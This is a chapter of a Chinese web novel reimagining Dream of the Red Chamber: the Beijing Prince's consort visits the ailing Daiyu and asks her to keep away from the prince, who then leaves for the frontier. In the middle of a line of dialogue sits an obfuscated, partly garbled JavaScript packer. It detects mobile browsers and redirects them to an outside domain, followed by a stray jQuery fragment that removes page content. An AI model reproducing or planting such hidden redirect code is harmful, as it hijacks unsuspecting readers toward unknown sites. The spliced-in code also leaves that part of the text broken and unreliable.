荷语青妃 作品
67.第 67 章
太医说是急火攻心,加上素日体弱,需静养调理。北静王每日派人送来珍稀药材,却再未亲自登门。倒是顾嬷嬷常在黛玉床前念叨:"王爷这几日忙于朝务,抽不开身..."
黛玉靠在绣枕上,望着窗外渐黄的梧桐叶,轻声道:"嬷嬷不必解释,王爷公务繁忙,本就不该为我这点小病分心。"
顾嬷嬷欲言又止,最终只是叹了口气。
这日午后,黛玉正倚在榻上看书,紫鹃匆匆进来:"姑娘,北静王府送来帖子,王妃明日要来探望。"
黛玉手中的书册"啪"地落在被面上:"王妃?"
"说是听闻公主病了,特意备了些补品。"紫鹃压低声音,"顾嬷嬷说,王妃平日深居简出,极少出门拜访,这次怕是..."
黛玉明白她话中之意——王妃此来,绝非单纯探病那么简单。
"去告诉周管家,好生准备着。"黛玉揉了揉太阳穴,"把我那白色绣梅花的衣裳找出来。"
紫鹃应声去了。黛玉独自坐在窗前,心中思绪万千。她与北静王清清白白,可那日花厅一幕,若传到王妃耳中...想到这里,她胸口又隐隐作痛起来。
次日清晨,公主府上下严阵以待。黛玉早早起身,梳了一个端庄的凌云髻,只簪一支白玉梅花簪,淡扫蛾眉,薄施脂粉,既不失公主体统,又不过分招摇。
"公主,"顾嬷嬷进来禀报,"王妃的轿辇到门口了。"
黛玉深吸一口气,扶着紫鹃的手走向正厅。刚转过回廊,就见一位华服美妇在丫鬟搀扶下缓步而来。那妇人约莫三十出头,穿着绛紫色织金凤纹褙子,头戴累丝金凤冠,容貌端庄秀丽,通身气度不凡。
"臣女参见王妃。"黛玉福身行礼。
王妃快走两步,亲自扶起她:"公主不必多礼。"她仔细打量着黛玉,笑道,"早听闻贞静公主才貌双全,今日一见,果然名不虚传。"
黛玉垂眸:"王妃过奖了。"
二人入内落座,丫鬟奉上香茶。王妃关切地问了黛玉的病情,又让随从呈上几盒珍贵药材:"这是长白山的老参,最是补气养心。王爷常说公主身子弱,我早就该来探望的。"
这话说得滴水不漏,却让黛玉心头一紧——王妃特意强调"王爷常说",分明是试探。
"多谢王妃厚爱。"黛玉不动声色,"王爷待臣女如子侄,屡次照拂,臣女感激不尽。"
王妃眼中闪过一丝讶异,似乎没想到黛玉会如此坦然。她抿了口茶,忽然话锋一转:"听说前几日,贾府的宝二爷来过了?"
黛玉指尖微颤,茶盏中的水面荡起细纹:"是。宝二爷奉贾老夫人之命,来告知老太太病愈的消息。"
"哦?"王妃似笑非笑,"可我听闻,他是来向公主表明心迹的?"
厅内空气骤然凝固。紫鹃在一旁倒吸一口冷气,顾嬷嬷也变了脸色。
黛玉放下茶盏,抬眸直视王妃:"王妃明鉴,臣女与宝二爷虽是表兄妹,却恪守礼法,从无越矩之举。那日他来,不过是因老太太病重,心中焦急,说了几句糊涂话罢了。"
王妃不置可否,只是轻轻摩挲着腕上的翡翠镯子:"公主年纪小,不知人心险恶。有些情分,看似纯粹,实则..."她意味深长地顿了顿,"容易招人非议。"
黛玉面色一白,突然剧烈咳嗽起来,帕子上竟见了红。紫鹃慌忙上前,王妃也吃了一惊:"公主!"
"无碍。"黛玉迅速收起帕子,强笑道,"老毛病了,让王妃见笑。"
王妃神色复杂地看着她,忽然叹了口气:"其实我今日来,并非要为难公主。"她挥退左右,低声道,"王爷近来...有些反常。"
黛玉心头一跳:"王妃何出此言?"
"自公主入住这府邸,王爷事事亲力亲为,连园中一草一木都要过问。"王妃苦笑,"我与他成婚十载,从未见他为谁如此费心。"
黛玉如坐针毡,手指紧紧绞着帕子:"王爷是念在与家父的情分上..."
"起初我也这么想。"王妃打断她,"直到那日他回府,抱着件沾了血的帕子发呆..."她直视黛玉的眼睛,"那是公主的吧?"
黛玉脑中"嗡"的一声——那日她在花厅咳血,北静王确实用帕子为她拭过唇角。
"王妃误会了。"黛玉急声道,"王爷只是见臣女病发..."
"公主不必解释。"王妃摆摆手,"我今日来,不是兴师问罪的。"她忽然压低声音,"而是想请公主帮个忙。"
黛玉愕然:"王妃请讲。"
"王爷性子执拗,有些话我说了无用。"王妃眼中闪过一丝哀伤,"还请公主...适当疏远些。为了王爷的清誉,也为了公主的名节。"
这话如一盆冷水浇在黛玉头上。她终于明白王妃此行的真正目的——不是质问,而是恳求。堂堂王妃,竟要低声下气地求她这个孤女远离自己的丈夫...
"王妃放心。"黛玉听见自己的声音轻得像一缕烟,"臣女明白分寸。"
王妃如释重负,又寒暄几句便起身告辞。黛玉强撑着送她到二门,回到房中便再也支撑不住,瘫坐在椅子上,冷汗涔涔。
"姑娘..."紫鹃心疼地为她拭汗。
黛玉摇摇头,突然想起什么:"去请周管家来。"
周瑞很快到来。黛玉让所有人退下,直视着他的眼睛:"周管家,你实话告诉我,这府中一草一木,当真是王爷亲自过问的?"
周瑞面露难色:"这..."
"我要听实话。"
周瑞叹了口气:"回公主,确实如此。王爷连公主闺房窗外的海棠是单瓣还是重瓣都要亲自选定。那架焦尾琴,是王爷珍藏多年的心头好..."他顿了顿,"老奴在王府当差二十年,从未见王爷对谁如此上心。"
黛玉胸口如压了块大石,喘不过气来。她早该察觉的——那亭柱上的诗句,那仿照扬州老家的布局,那本失传的《广陵散》琴谱...北静王对她的关照,早已超出了世交之谊。
"周管家,"她轻声道,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15789618|170090||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
"烦你转告王爷,就说我身子大好,今后府中琐事不必再劳他费心。"
周瑞欲言又止,最终躬身退下。
当夜,北静王府。
北静王正在书房批阅公文,王妃轻轻推门而入。
"王爷,这么晚了还不歇息?"
北静王头也不抬:"还有些军务要处理。"
王妃走到他身边,为他添了杯热茶:"今日我去看望贞静公主了。"
北静王手中的笔微微一顿:"她...可好些了?"
"气色仍不大好。"王妃观察着丈夫的反应,"那孩子也怪可怜的,小小年纪就要周旋于各种是非中。"
北静王皱眉:"有人为难她?"
"那倒没有。"王妃轻描淡写,"只是我提醒她,身为公主,与男子往来需格外谨慎,特别是..."她故意顿了顿,"像王爷这样的外男。"
北静王猛地抬头,眼中闪过一丝怒意:"你去警告她了?"
"不是警告,是提醒。"王妃不慌不忙,"王爷不觉得,近来对公主的关照...有些过度了吗?"
北静王放下笔,面色阴沉:"她父亲临终托孤,我不过是..."
"王爷,"王妃打断他,"您看公主的眼神,早已不是一个长辈看晚辈的眼神了。"她苦笑,"我是您的妻子,难道察觉不出吗?"
北静王哑然。他起身走到窗前,望着公主府的方向,久久不语。
"她...知道吗?"王妃轻声问。
"不知道。"北静王摇头,"也不该知道。"
王妃走到他身边,罕见地握住他的手:"王爷,收手吧。她还小,又是那样敏感的性子..."
北静王闭了闭眼:"我明白。"
翌日清晨,黛玉刚用过早膳,顾嬷嬷就匆匆进来:"公主,王爷派人送来一封信。"
黛玉接过信,展开一看,只有寥寥数语:
「公主钧鉴:
边关军情紧急,本王奉旨巡视,归期未定。府中诸事已交代周瑞妥善处理,公主安心静养即可。
北静王手书」
信纸上的字迹力透纸背,墨迹却有几处不自然的晕染,像是被水打湿过。
黛玉轻轻抚过那些晕染的痕迹,忽然明白了什么。她将信纸慢慢折好,放入妆奁最底层。
"嬷嬷,"她轻声道,"我想学管家。"
顾嬷嬷一愣:"公主怎么突然..."
"总不能一直依赖王爷。"黛玉望向窗外,阳光透过梧桐叶在她脸上投下斑驳的光影,"是时候...学着自立了。"
顾嬷嬷似乎明白了什么,眼中闪过一丝怜惜:"老奴这就去安排。"
从那天起,黛玉开始认真学习治家之道。她天资聪颖,不出半月就将公主府上下打理得井井有条。周瑞惊讶于她的悟性,顾嬷嬷也暗自赞叹。
只有紫鹃知道,夜深人静时,黛玉常独自坐在"忆江南"亭中,一遍遍弹奏《广陵散》。琴声如泣如诉,惊起一池秋水,却再无人驻足聆听。